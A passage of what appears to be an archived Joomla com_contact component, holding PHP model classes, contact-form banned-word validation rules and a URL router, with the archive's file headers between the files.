		return $this->_leftsibling;
	}

	/**
	 * Get the sibling (adjacent) categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 */
	public function &getRightSibling()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_rightsibling;
	}

	/**
	 * Get the child categories.
	 *
	 * @return  mixed  An array of categories or false if an error occurs.
	 */
	public function &getChildren()
	{
		if (!is_object($this->_item))
		{
			$this->getCategory();
		}

		return $this->_children;
	}

	/**
	 * Increment the hit counter for the category.
	 *
	 * @param   integer  $pk  Optional primary key of the category to increment.
	 *
	 * @return  boolean  True if successful; false otherwise and internal error set.
	 *
	 * @since   3.2
	 */
	public function hit($pk = 0)
	{
		$input = JFactory::getApplication()->input;
		$hitcount = $input->getInt('hitcount', 1);

		if ($hitcount)
		{
			$pk = (!empty($pk)) ? $pk : (int) $this->getState('category.id');

			$table = JTable::getInstance('Category', 'JTable');
			$table->hit($pk);
		}

		return true;
	}
}
com_contact/models/rules/contactemailsubject.php000060400000003374152453734460016226 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

/**
 * JFormRule for com_contact to make sure the subject contains no banned word.
 *
 * @since  1.6
 */
class JFormRuleContactEmailSubject extends JFormRule
{
	/**
	 * Method to test for a banned subject
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 * @param   Registry          $input    An optional Registry object with the entire data set to validate against the entire form.
	 * @param   JForm             $form     The form object for which the field is being tested.
	 *
	 * @return  boolean  True if the value is valid, false otherwise
	 */
	public function test(SimpleXMLElement $element, $value, $group = null, Registry $input = null, JForm $form = null)
	{
		$params = JComponentHelper::getParams('com_contact');
		$banned = $params->get('banned_subject');

		if ($banned)
		{
			foreach (explode(';', $banned) as $item)
			{
				if ($item != '' && StringHelper::stristr($value, $item) !== false)
				{
					return false;
				}
			}
		}

		return true;
	}
}
com_contact/models/rules/contactemail.php000060400000003572152453734460014646 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

JFormHelper::loadRuleClass('email');

/**
 * JFormRule for com_contact to make sure the email address is not blocked.
 *
 * @since  1.6
 */
class JFormRuleContactEmail extends JFormRuleEmail
{
	/**
	 * Method to test for banned email addresses
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 * @param   Registry          $input    An optional Registry object with the entire data set to validate against the entire form.
	 * @param   JForm             $form     The form object for which the field is being tested.
	 *
	 * @return  boolean  True if the value is valid, false otherwise.
	 */
	public function test(SimpleXMLElement $element, $value, $group = null, Registry $input = null, JForm $form = null)
	{
		if (!parent::test($element, $value, $group, $input, $form))
		{
			return false;
		}

		$params = JComponentHelper::getParams('com_contact');
		$banned = $params->get('banned_email');

		if ($banned)
		{
			foreach (explode(';', $banned) as $item)
			{
				if ($item != '' && StringHelper::stristr($value, $item) !== false)
				{
					return false;
				}
			}
		}

		return true;
	}
}
com_contact/models/rules/contactemailmessage.php000060400000003405152453734460016206 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

/**
 * JFormRule for com_contact to make sure the message body contains no banned word.
 *
 * @since  1.6
 */
class JFormRuleContactEmailMessage extends JFormRule
{
	/**
	 * Method to test a message for banned words
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the <field /> tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 * @param   Registry          $input    An optional Registry object with the entire data set to validate against the entire form.
	 * @param   JForm             $form     The form object for which the field is being tested.
	 *
	 * @return  boolean  True if the value is valid, false otherwise.
	 */
	public function test(SimpleXMLElement $element, $value, $group = null, Registry $input = null, JForm $form = null)
	{
		$params = JComponentHelper::getParams('com_contact');
		$banned = $params->get('banned_text');

		if ($banned)
		{
			foreach (explode(';', $banned) as $item)
			{
				if ($item != '' && StringHelper::stristr($value, $item) !== false)
				{
					return false;
				}
			}
		}

		return true;
	}
}
com_contact/models/featured.php000060400000014153152453734460012645 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Featured contact model class.
 *
 * @since  1.6.0
 */
class ContactModelFeatured extends JModelList
{
	/**
	 * Category items data
	 *
	 * @var         array
	 * @since       1.6.0-beta1
	 * @deprecated  4.0  Variable not used since 1.6.0-beta8
	 */
	protected $_item = null;

	/**
	 * Who knows what this was for? It has never been used
	 *
	 * @var          array
	 * @since        1.6.0-beta1
	 * @deprecated   4.0  Variable not used ever
	 */
	protected $_articles = null;

	/**
	 * Get the siblings of the category
	 *
	 * @var          array
	 * @since        1.6.0-beta1
	 * @deprecated   4.0  Variable not used since 1.6.0-beta8
	 */
	protected $_siblings = null;

	/**
	 * Get the children of the category
	 *
	 * @var          array
	 * @since        1.6.0-beta1
	 * @deprecated   4.0  Variable not used since 1.6.0-beta8
	 */
	protected $_children = null;

	/**
	 * Get the parent of the category
	 *
	 * @var          array
	 * @since        1.6.0-beta1
	 * @deprecated   4.0  Variable not used since 1.6.0-beta8
	 */
	protected $_parent = null;

	/**
	 * The category that applies.
	 *
	 * @access      protected
	 * @var         object
	 * @deprecated   4.0  Variable not used ever
	 */
	protected $_category = null;

	/**
	 * The list of other contact categories.
	 *
	 * @access    protected
	 * @var       array
	 * @deprecated   4.0  Variable not used ever
	 */
	protected $_categories = null;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'name', 'a.name',
				'con_position', 'a.con_position',
				'suburb', 'a.suburb',
				'state', 'a.state',
				'country', 'a.country',
				'ordering', 'a.ordering',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to get a list of items.
	 *
	 * @return  mixed  An array of objects on success, false on failure.
	 */
	public function getItems()
	{
		// Invoke the parent getItems method to get the main list
		$items = parent::getItems();

		// Convert the params field into an object, saving original in _params
		for ($i = 0, $n = count($items); $i < $n; $i++)
		{
			$item = &$items[$i];

			if (!isset($this->_params))
			{
				$item->params = new Registry($item->params);
			}
		}

		return $items;
	}

	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return  string    An SQL query
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		$user = JFactory::getUser();
		$groups = implode(',', $user->getAuthorisedViewLevels());

		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select required fields from the categories.
		$query->select($this->getState('list.select', 'a.*'))
			->from($db->quoteName('#__contact_details') . ' AS a')
			->where('a.access IN (' . $groups . ')')
			->where('a.featured=1')
			->join('INNER', '#__categories AS c ON c.id = a.catid')
			->where('c.access IN (' . $groups . ')');

		// Filter by category.
		if ($categoryId = $this->getState('category.id'))
		{
			$query->where('a.catid = ' . (int) $categoryId);
		}

		// Change for sqlsrv... aliased c.published to cat_published
		$query->select('c.published as cat_published, c.published AS parents_published')
			->where('c.published = 1');

		// Filter by state
		$state = $this->getState('filter.published');

		if (is_numeric($state))
		{
			$query->where('a.published = ' . (int) $state);

			// Filter by start and end dates.
			$nullDate = $db->quote($db->getNullDate());
			$date = JFactory::getDate();
			$nowDate = $db->quote($date->toSql());
			$query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')')
				->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')');
		}

		// Filter by language
		if ($this->getState('filter.language'))
		{
			$query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();
		$params = JComponentHelper::getParams('com_contact');

		// List state information
		$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
		$this->setState('list.limit', $limit);

		$limitstart = $app->input->get('limitstart', 0, 'uint');
		$this->setState('list.start', $limitstart);

		$orderCol = $app->input->get('filter_order', 'ordering');

		if (!in_array($orderCol, $this->filter_fields))
		{
			$orderCol = 'ordering';
		}

		$this->setState('list.ordering', $orderCol);

		$listOrder = $app->input->get('filter_order_Dir', 'ASC');

		if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', '')))
		{
			$listOrder = 'ASC';
		}

		$this->setState('list.direction', $listOrder);

		$user = JFactory::getUser();

		if ((!$user->authorise('core.edit.state', 'com_contact')) && (!$user->authorise('core.edit', 'com_contact')))
		{
			// Limit to published for people who can't edit or edit.state.
			$this->setState('filter.published', 1);

			// Filter by start and end dates.
			$this->setState('filter.publish_date', true);
		}

		$this->setState('filter.language', JLanguageMultilang::isEnabled());

		// Load the parameters.
		$this->setState('params', $params);
	}
}
com_contact/models/contact.php000060400000032716152453734460012506 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

JLoader::register('ContactHelper', JPATH_ADMINISTRATOR . '/components/com_contact/helpers/contact.php');

/**
 * Item Model for a Contact.
 *
 * @since  1.6
 */
class ContactModelContact extends JModelAdmin
{
	/**
	 * The type alias for this content type.
	 *
	 * @var    string
	 * @since  3.2
	 */
	public $typeAlias = 'com_contact.contact';

	/**
	 * The context used for the associations table
	 *
	 * @var    string
	 * @since  3.4.4
	 */
	protected $associationsContext = 'com_contact.item';

	/**
	 * Batch copy/move command. If set to false, the batch copy/move command is not supported
	 *
	 * @var  string
	 */
	protected $batch_copymove = 'category_id';

	/**
	 * Allowed batch commands
	 *
	 * @var array
	 */
	protected $batch_commands = array(
		'assetgroup_id' => 'batchAccess',
		'language_id'   => 'batchLanguage',
		'tag'           => 'batchTag',
		'user_id'       => 'batchUser',
	);

	/**
	 * Batch change a linked user.
	 *
	 * @param   integer  $value     The new value matching a User ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal error is set.
	 *
	 * @since   2.5
	 */
	protected function batchUser($value, $pks, $contexts)
	{
		foreach ($pks as $pk)
		{
			if ($this->user->authorise('core.edit', $contexts[$pk]))
			{
				$this->table->reset();
				$this->table->load($pk);
				$this->table->user_id = (int) $value;

				$this->createTagsHelper($this->tagsObserver, $this->type, $pk, $this->typeAlias, $this->table);

				if (!$this->table->store())
				{
					$this->setError($this->table->getError());

					return false;
				}
			}
			else
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->published != -2)
		{
			return false;
		}

		return JFactory::getUser()->authorise('core.delete', 'com_contact.category.' . (int) $record->catid);
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		// Check against the category.
		if (!empty($record->catid))
		{
			return JFactory::getUser()->authorise('core.edit.state', 'com_contact.category.' . (int) $record->catid);
		}

		// Default to component settings if category not known.
		return parent::canEditState($record);
	}

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Contact', $prefix = 'ContactTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the row form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		JForm::addFieldPath(JPATH_ADMINISTRATOR . '/components/com_users/models/fields');

		// Get the form.
		$form = $this->loadForm('com_contact.contact', 'contact', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// Modify the form based on access controls.
		if (!$this->canEditState((object) $data))
		{
			// Disable fields for display.
			$form->setFieldAttribute('featured', 'disabled', 'true');
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('published', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('featured', 'filter', 'unset');
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('published', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			// Convert the metadata field to an array.
			$registry = new Registry($item->metadata);
			$item->metadata = $registry->toArray();
		}

		// Load associated contact items
		$assoc = JLanguageAssociations::isEnabled();

		if ($assoc)
		{
			$item->associations = array();

			if ($item->id != null)
			{
				$associations = JLanguageAssociations::getAssociations('com_contact', '#__contact_details', 'com_contact.item', $item->id);

				foreach ($associations as $tag => $association)
				{
					$item->associations[$tag] = $association->id;
				}
			}
		}

		// Load item tags
		if (!empty($item->id))
		{
			$item->tags = new JHelperTags;
			$item->tags->getTagIds($item->id, 'com_contact.contact');
		}

		return $item;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		$app = JFactory::getApplication();

		// Check the session for previously entered form data.
		$data = $app->getUserState('com_contact.edit.contact.data', array());

		if (empty($data))
		{
			$data = $this->getItem();

			// Prime some default values.
			if ($this->getState('contact.id') == 0)
			{
				$data->set('catid', $app->input->get('catid', $app->getUserState('com_contact.contacts.filter.category_id'), 'int'));
			}
		}

		$this->preprocessData('com_contact.contact', $data);

		return $data;
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.0
	 */
	public function save($data)
	{
		$input = JFactory::getApplication()->input;

		JLoader::register('CategoriesHelper', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/categories.php');

		// Create new category, if needed.
		$createCategory = true;

		// If category ID is provided, check if it's valid.
		if (is_numeric($data['catid']) && $data['catid'])
		{
			$createCategory = !CategoriesHelper::validateCategoryId($data['catid'], 'com_contact');
		}

		// Save New Category
		if ($createCategory && $this->canCreateCategory())
		{
			$table = array();

			// Remove #new# prefix, if exists.
			$table['title'] = strpos($data['catid'], '#new#') === 0 ? substr($data['catid'], 5) : $data['catid'];
			$table['parent_id'] = 1;
			$table['extension'] = 'com_contact';
			$table['language'] = $data['language'];
			$table['published'] = 1;

			// Create new category and get catid back
			$data['catid'] = CategoriesHelper::createCategory($table);
		}

		// Alter the name for save as copy
		if ($input->get('task') == 'save2copy')
		{
			$origTable = clone $this->getTable();
			$origTable->load($input->getInt('id'));

			if ($data['name'] == $origTable->name)
			{
				list($name, $alias) = $this->generateNewTitle($data['catid'], $data['alias'], $data['name']);
				$data['name'] = $name;
				$data['alias'] = $alias;
			}
			else
			{
				if ($data['alias'] == $origTable->alias)
				{
					$data['alias'] = '';
				}
			}

			$data['published'] = 0;
		}

		$links = array('linka', 'linkb', 'linkc', 'linkd', 'linke');

		foreach ($links as $link)
		{
			if ($data['params'][$link])
			{
				$data['params'][$link] = JStringPunycode::urlToPunycode($data['params'][$link]);
			}
		}

		return parent::save($data);
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @param   JTable  $table  The JTable object
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate()->toSql();

		$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);

		$table->generateAlias();

		if (empty($table->id))
		{
			// Set the values
			$table->created = $date;

			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = $this->getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__contact_details'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			// Set the values
			$table->modified = $date;
			$table->modified_by = JFactory::getUser()->id;
		}

		// Increment the content version number.
		$table->version++;
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   JTable  $table  A record object.
	 *
	 * @return  array  An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function getReorderConditions($table)
	{
		return array('catid = ' . (int) $table->catid);
	}

	/**
	 * Preprocess the form.
	 *
	 * @param   JForm   $form   Form object.
	 * @param   object  $data   Data object.
	 * @param   string  $group  Group name.
	 *
	 * @return  void
	 *
	 * @since   3.0.3
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		// Determine correct permissions to check.
		if ($this->getState('contact.id'))
		{
			// Existing record. Can only edit in selected categories.
			$form->setFieldAttribute('catid', 'action', 'core.edit');
		}
		else
		{
			// New record. Can only create in selected categories.
			$form->setFieldAttribute('catid', 'action', 'core.create');
		}

		if ($this->canCreateCategory())
		{
			$form->setFieldAttribute('catid', 'allowAdd', 'true');

			// Add a prefix for categories created on the fly.
			$form->setFieldAttribute('catid', 'customPrefix', '#new#');
		}

		// Association contact items
		if (JLanguageAssociations::isEnabled())
		{
			$languages = JLanguageHelper::getContentLanguages(false, true, null, 'ordering', 'asc');

			if (count($languages) > 1)
			{
				$addform = new SimpleXMLElement('<form />');
				$fields = $addform->addChild('fields');
				$fields->addAttribute('name', 'associations');
				$fieldset = $fields->addChild('fieldset');
				$fieldset->addAttribute('name', 'item_associations');

				foreach ($languages as $language)
				{
					$field = $fieldset->addChild('field');
					$field->addAttribute('name', $language->lang_code);
					$field->addAttribute('type', 'modal_contact');
					$field->addAttribute('language', $language->lang_code);
					$field->addAttribute('label', $language->title);
					$field->addAttribute('translate_label', 'false');
					$field->addAttribute('select', 'true');
					$field->addAttribute('new', 'true');
					$field->addAttribute('edit', 'true');
					$field->addAttribute('clear', 'true');
					$field->addAttribute('propagate', 'true');
				}

				$form->load($addform, false);
			}
		}

		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method to toggle the featured setting of contacts.
	 *
	 * @param   array    $pks    The ids of the items to toggle.
	 * @param   integer  $value  The value to toggle to.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function featured($pks, $value = 0)
	{
		// Sanitize the ids.
		$pks = ArrayHelper::toInteger((array) $pks);

		if (empty($pks))
		{
			$this->setError(JText::_('COM_CONTACT_NO_ITEM_SELECTED'));

			return false;
		}

		$table = $this->getTable();

		try
		{
			$db = $this->getDbo();

			$query = $db->getQuery(true);
			$query->update('#__contact_details');
			$query->set('featured = ' . (int) $value);
			$query->where('id IN (' . implode(',', $pks) . ')');
			$db->setQuery($query);

			$db->execute();
		}
		catch (Exception $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		$table->reorder();

		// Clean component's cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Is the user allowed to create an on the fly category?
	 *
	 * @return  boolean
	 *
	 * @since   3.6.1
	 */
	private function canCreateCategory()
	{
		return JFactory::getUser()->authorise('core.create', 'com_contact');
	}

	/**
	 * Method to validate the form data.
	 *
	 * @param   JForm   $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the field group to validate.
	 *
	 * @return  array|boolean  Array of filtered data if valid, false otherwise.
	 *
	 * @see     JFormRule
	 * @see     JFilterInput
	 * @since   3.9.25
	 */
	public function validate($form, $data, $group = null)
	{
		// Don't allow to change the users if not allowed to access com_users.
		if (!JFactory::getUser()->authorise('core.manage', 'com_users'))
		{
			if (isset($data['created_by']))
			{
				unset($data['created_by']);
			}
		}

		return parent::validate($form, $data, $group);
	}
}
com_contact/models/categories.php000060400000006377152453734460013204 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * This models supports retrieving lists of contact categories.
 *
 * @since  1.6
 */
class ContactModelCategories extends JModelList
{
	/**
	 * Model context string.
	 *
	 * @var		string
	 */
	public $_context = 'com_contact.categories';

	/**
	 * The category context (allows other extensions to derived from this model).
	 *
	 * @var		string
	 */
	protected $_extension = 'com_contact';

	private $_parent = null;

	private $_items = null;

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();
		$this->setState('filter.extension', $this->_extension);

		// Get the parent id if defined.
		$parentId = $app->input->getInt('id');
		$this->setState('filter.parentId', $parentId);

		$params = $app->getParams();
		$this->setState('params', $params);

		$this->setState('filter.published',	1);
		$this->setState('filter.access',	true);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id	.= ':' . $this->getState('filter.extension');
		$id	.= ':' . $this->getState('filter.published');
		$id	.= ':' . $this->getState('filter.access');
		$id	.= ':' . $this->getState('filter.parentId');

		return parent::getStoreId($id);
	}

	/**
	 * Redefine the function an add some properties to make the styling more easy
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		if ($this->_items === null)
		{
			$app = JFactory::getApplication();
			$menu = $app->getMenu();
			$active = $menu->getActive();
			$params = new Registry;

			if ($active)
			{
				$params->loadString($active->params);
			}

			$options = array();
			$options['countItems'] = $params->get('show_cat_items_cat', 1) || !$params->get('show_empty_categories_cat', 0);
			$categories = JCategories::getInstance('Contact', $options);
			$this->_parent = $categories->get($this->getState('filter.parentId', 'root'));

			if (is_object($this->_parent))
			{
				$this->_items = $this->_parent->getChildren();
			}
			else
			{
				$this->_items = false;
			}
		}

		return $this->_items;
	}

	/**
	 * Gets the id of the parent category for the selected list of categories
	 *
	 * @return   integer  The id of the parent category
	 *
	 * @since    1.6.0
	 */
	public function getParent()
	{
		if (!is_object($this->_parent))
		{
			$this->getItems();
		}

		return $this->_parent;
	}
}
com_contact/router.php000060400000014174152453734460011106 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_contact
 *
 * @since  3.3
 */
class ContactRouter extends JComponentRouterView
{
	protected $noIDs = false;

	/**
	 * Search Component router constructor
	 *
	 * @param   JApplicationCms  $app   The application object
	 * @param   JMenu            $menu  The menu object to work with
	 */
	public function __construct($app = null, $menu = null)
	{
		$params = JComponentHelper::getParams('com_contact');
		$this->noIDs = (bool) $params->get('sef_ids');
		$categories = new JComponentRouterViewconfiguration('categories');
		$categories->setKey('id');
		$this->registerView($categories);
		$category = new JComponentRouterViewconfiguration('category');
		$category->setKey('id')->setParent($categories, 'catid')->setNestable();
		$this->registerView($category);
		$contact = new JComponentRouterViewconfiguration('contact');
		$contact->setKey('id')->setParent($category, 'catid');
		$this->registerView($contact);
		$this->registerView(new JComponentRouterViewconfiguration('featured'));

		parent::__construct($app, $menu);

		$this->attachRule(new JComponentRouterRulesMenu($this));

		if ($params->get('sef_advanced', 0))
		{
			$this->attachRule(new JComponentRouterRulesStandard($this));
			$this->attachRule(new JComponentRouterRulesNomenu($this));
		}
		else
		{
			JLoader::register('ContactRouterRulesLegacy', __DIR__ . '/helpers/legacyrouter.php');
			$this->attachRule(new ContactRouterRulesLegacy($this));
		}
	}

	/**
	 * Method to get the segment(s) for a category
	 *
	 * @param   string  $id     ID of the category to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */
	public function getCategorySegment($id, $query)
	{
		$category = JCategories::getInstance($this->getName())->get($id);

		if ($category)
		{
			$path = array_reverse($category->getPath(), true);
			$path[0] = '1:root';

			if ($this->noIDs)
			{
				foreach ($path as &$segment)
				{
					list($id, $segment) = explode(':', $segment, 2);
				}
			}

			return $path;
		}

		return array();
	}

	/**
	 * Method to get the segment(s) for a category
	 *
	 * @param   string  $id     ID of the category to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */
	public function getCategoriesSegment($id, $query)
	{
		return $this->getCategorySegment($id, $query);
	}

	/**
	 * Method to get the segment(s) for a contact
	 *
	 * @param   string  $id     ID of the contact to retrieve the segments for
	 * @param   array   $query  The request that is built right now
	 *
	 * @return  array|string  The segments of this item
	 */
	public function getContactSegment($id, $query)
	{
		if (!strpos($id, ':'))
		{
			$db = JFactory::getDbo();
			$dbquery = $db->getQuery(true);
			$dbquery->select($dbquery->qn('alias'))
				->from($dbquery->qn('#__contact_details'))
				->where('id = ' . $dbquery->q((int) $id));
			$db->setQuery($dbquery);

			$id .= ':' . $db->loadResult();
		}

		if ($this->noIDs)
		{
			list($void, $segment) = explode(':', $id, 2);

			return array($void => $segment);
		}

		return array((int) $id => $id);
	}

	/**
	 * Method to get the id for a category
	 *
	 * @param   string  $segment  Segment to retrieve the ID for
	 * @param   array   $query    The request that is parsed right now
	 *
	 * @return  mixed   The id of this item or false
	 */
	public function getCategoryId($segment, $query)
	{
		if (isset($query['id']))
		{
			$category = JCategories::getInstance($this->getName(), array('access' => false))->get($query['id']);

			if ($category)
			{
				foreach ($category->getChildren() as $child)
				{
					if ($this->noIDs)
					{
						if ($child->alias == $segment)
						{
							return $child->id;
						}
					}
					else
					{
						if ($child->id == (int) $segment)
						{
							return $child->id;
						}
					}
				}
			}
		}

		return false;
	}

	/**
	 * Method to get the segment(s) for a category
	 *
	 * @param   string  $segment  Segment to retrieve the ID for
	 * @param   array   $query    The request that is parsed right now
	 *
	 * @return  mixed   The id of this item or false
	 */
	public function getCategoriesId($segment, $query)
	{
		return $this->getCategoryId($segment, $query);
	}

	/**
	 * Method to get the segment(s) for a contact
	 *
	 * @param   string  $segment  Segment of the contact to retrieve the ID for
	 * @param   array   $query    The request that is parsed right now
	 *
	 * @return  mixed   The id of this item or false
	 */
	public function getContactId($segment, $query)
	{
		if ($this->noIDs)
		{
			$db = JFactory::getDbo();
			$dbquery = $db->getQuery(true);
			$dbquery->select($dbquery->qn('id'))
				->from($dbquery->qn('#__contact_details'))
				->where('alias = ' . $dbquery->q($segment))
				->where('catid = ' . $dbquery->q($query['id']));
			$db->setQuery($dbquery);

			return (int) $db->loadResult();
		}

		return (int) $segment;
	}
}

/**
 * Contact router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments
 *
 * @return  array  The URL arguments to use to assemble the subsequent URL.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function ContactBuildRoute(&$query)
{
	$app = JFactory::getApplication();
	$router = new ContactRouter($app, $app->getMenu());

	return $router->build($query);
}

/**
 * Contact router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
